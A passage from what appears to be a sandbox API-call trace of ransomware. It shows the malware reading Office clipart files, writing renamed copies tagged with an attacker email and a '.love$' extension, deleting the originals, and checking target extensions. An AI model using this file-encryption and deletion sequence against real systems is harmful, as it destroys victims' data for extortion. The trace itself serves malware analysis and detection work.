dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.220] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=26748) returned 1 [0230.220] CloseHandle (hObject=0x3bc) returned 1 [0230.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0230.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.221] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.222] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0230.376] GetLastError () returned 0x0 [0230.376] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x687c, lpOverlapped=0x0) returned 1 [0230.478] WriteFile (in: hFile=0x474, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x6880, lpOverlapped=0x0) returned 1 [0230.479] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.479] WriteFile (in: hFile=0x474, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.479] SetEndOfFile (hFile=0x474) returned 1 [0230.797] CloseHandle (hObject=0x474) returned 1 [0230.799] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.799] SetEndOfFile (hFile=0x3bc) returned 1 [0230.804] CloseHandle (hObject=0x3bc) returned 1 [0230.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0230.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.820] lstrlenW (lpString=".doc") returned 4 [0230.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString=".docx") returned 5 [0230.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.820] lstrlenW (lpString=".pdf") returned 4 [0230.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString=".xls") returned 4 [0230.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.820] lstrlenW (lpString=".xlsx") returned 5 [0230.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.820] lstrlenW (lpString=".ppt") returned 4 [0230.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.820] lstrlenW (lpString=".zip") returned 4 [0230.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.820] lstrlenW (lpString=".rar") returned 4 [0230.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString=".bz2") returned 4 [0230.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString=".7z") returned 3 [0230.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.820] lstrlenW (lpString=".dbf") returned 4 [0230.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.820] lstrlenW (lpString=".1cd") returned 4 [0230.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.821] lstrlenW (lpString=".jpg") returned 4 [0230.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.821] lstrlenW (lpString=".doc") returned 4 [0230.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.821] lstrlenW (lpString=".docx") returned 5 [0230.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.821] lstrlenW (lpString=".pdf") returned 4 [0230.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.821] lstrlenW (lpString=".xls") returned 4 [0230.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.821] lstrlenW (lpString=".xlsx") returned 5 [0230.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.821] lstrlenW (lpString=".ppt") returned 4 [0230.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.821] lstrlenW (lpString=".zip") returned 4 [0230.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.821] lstrlenW (lpString=".rar") returned 4 [0230.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.821] lstrlenW (lpString=".bz2") returned 4 [0230.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.821] lstrlenW (lpString=".7z") returned 3 [0230.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.821] lstrlenW (lpString=".dbf") returned 4 [0230.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.822] lstrlenW (lpString=".1cd") returned 4 [0230.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0230.822] lstrlenW (lpString=".jpg") returned 4 [0230.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.822] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.822] lstrlenW (lpString="BD08868_.WMF") returned 12 [0230.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.823] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=40206) returned 1 [0230.823] CloseHandle (hObject=0x3bc) returned 1 [0230.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0230.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.824] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.824] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0230.827] GetLastError () returned 0x0 [0230.827] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0231.311] WriteFile (in: hFile=0x474, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x9d10, lpOverlapped=0x0) returned 1 [0231.312] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.312] WriteFile (in: hFile=0x474, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.312] SetEndOfFile (hFile=0x474) returned 1 [0231.343] CloseHandle (hObject=0x474) returned 1 [0231.343] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.343] SetEndOfFile (hFile=0x3bc) returned 1 [0231.347] CloseHandle (hObject=0x3bc) returned 1 [0231.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0231.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.350] lstrlenW (lpString=".doc") returned 4 [0231.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.350] lstrlenW (lpString=".docx") returned 5 [0231.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.350] lstrlenW (lpString=".pdf") returned 4 [0231.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.350] lstrlenW (lpString=".xls") returned 4 [0231.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.350] lstrlenW (lpString=".xlsx") returned 5 [0231.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.350] lstrlenW (lpString=".ppt") returned 4 [0231.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.350] lstrlenW (lpString=".zip") returned 4 [0231.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.350] lstrlenW (lpString=".rar") returned 4 [0231.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.350] lstrlenW (lpString=".bz2") returned 4 [0231.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.350] lstrlenW (lpString=".7z") returned 3 [0231.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.351] lstrlenW (lpString=".dbf") returned 4 [0231.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.351] lstrlenW (lpString=".1cd") returned 4 [0231.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.351] lstrlenW (lpString=".jpg") returned 4 [0231.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.351] lstrlenW (lpString=".doc") returned 4 [0231.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString=".docx") returned 5 [0231.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.351] lstrlenW (lpString=".pdf") returned 4 [0231.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString=".xls") returned 4 [0231.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.351] lstrlenW (lpString=".xlsx") returned 5 [0231.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.351] lstrlenW (lpString=".ppt") returned 4 [0231.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.351] lstrlenW (lpString=".zip") returned 4 [0231.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.351] lstrlenW (lpString=".rar") returned 4 [0231.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString=".bz2") returned 4 [0231.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.351] lstrlenW (lpString=".7z") returned 3 [0231.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.352] lstrlenW (lpString=".dbf") returned 4 [0231.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.352] lstrlenW (lpString=".1cd") returned 4 [0231.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0231.352] lstrlenW (lpString=".jpg") returned 4 [0231.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.352] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0231.352] lstrlenW (lpString="BD09194_.WMF") returned 12 [0231.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0231.364] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14540) returned 1 [0231.364] CloseHandle (hObject=0x484) returned 1 [0231.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0231.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0231.365] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.365] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.377] GetLastError () returned 0x0 [0231.378] ReadFile (in: hFile=0x484, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x38cc, lpOverlapped=0x0) returned 1 [0231.386] WriteFile (in: hFile=0x454, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x38d0, lpOverlapped=0x0) returned 1 [0231.388] ReadFile (in: hFile=0x484, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.388] WriteFile (in: hFile=0x454, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.388] SetEndOfFile (hFile=0x454) returned 1 [0231.388] CloseHandle (hObject=0x454) returned 1 [0231.388] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.388] SetEndOfFile (hFile=0x484) returned 1 [0231.392] CloseHandle (hObject=0x484) returned 1 [0231.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0232.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.048] lstrlenW (lpString=".doc") returned 4 [0232.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.048] lstrlenW (lpString=".docx") returned 5 [0232.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.049] lstrlenW (lpString=".pdf") returned 4 [0232.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString=".xls") returned 4 [0232.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.049] lstrlenW (lpString=".xlsx") returned 5 [0232.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.049] lstrlenW (lpString=".ppt") returned 4 [0232.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.049] lstrlenW (lpString=".zip") returned 4 [0232.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.049] lstrlenW (lpString=".rar") returned 4 [0232.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString=".bz2") returned 4 [0232.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString=".7z") returned 3 [0232.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.049] lstrlenW (lpString=".dbf") returned 4 [0232.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.049] lstrlenW (lpString=".1cd") returned 4 [0232.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.049] lstrlenW (lpString=".jpg") returned 4 [0232.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.050] lstrlenW (lpString=".doc") returned 4 [0232.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.050] lstrlenW (lpString=".docx") returned 5 [0232.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.050] lstrlenW (lpString=".pdf") returned 4 [0232.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.050] lstrlenW (lpString=".xls") returned 4 [0232.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.050] lstrlenW (lpString=".xlsx") returned 5 [0232.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.050] lstrlenW (lpString=".ppt") returned 4 [0232.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.050] lstrlenW (lpString=".zip") returned 4 [0232.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.050] lstrlenW (lpString=".rar") returned 4 [0232.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.050] lstrlenW (lpString=".bz2") returned 4 [0232.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.050] lstrlenW (lpString=".7z") returned 3 [0232.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.054] lstrlenW (lpString=".dbf") returned 4 [0232.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.054] lstrlenW (lpString=".1cd") returned 4 [0232.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0232.054] lstrlenW (lpString=".jpg") returned 4 [0232.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.054] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.054] lstrlenW (lpString="BD19828_.WMF") returned 12 [0232.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.659] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8772) returned 1 [0232.659] CloseHandle (hObject=0x48c) returned 1 [0232.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0233.079] GetFileAttributesW (lpFileName="C:\\Program 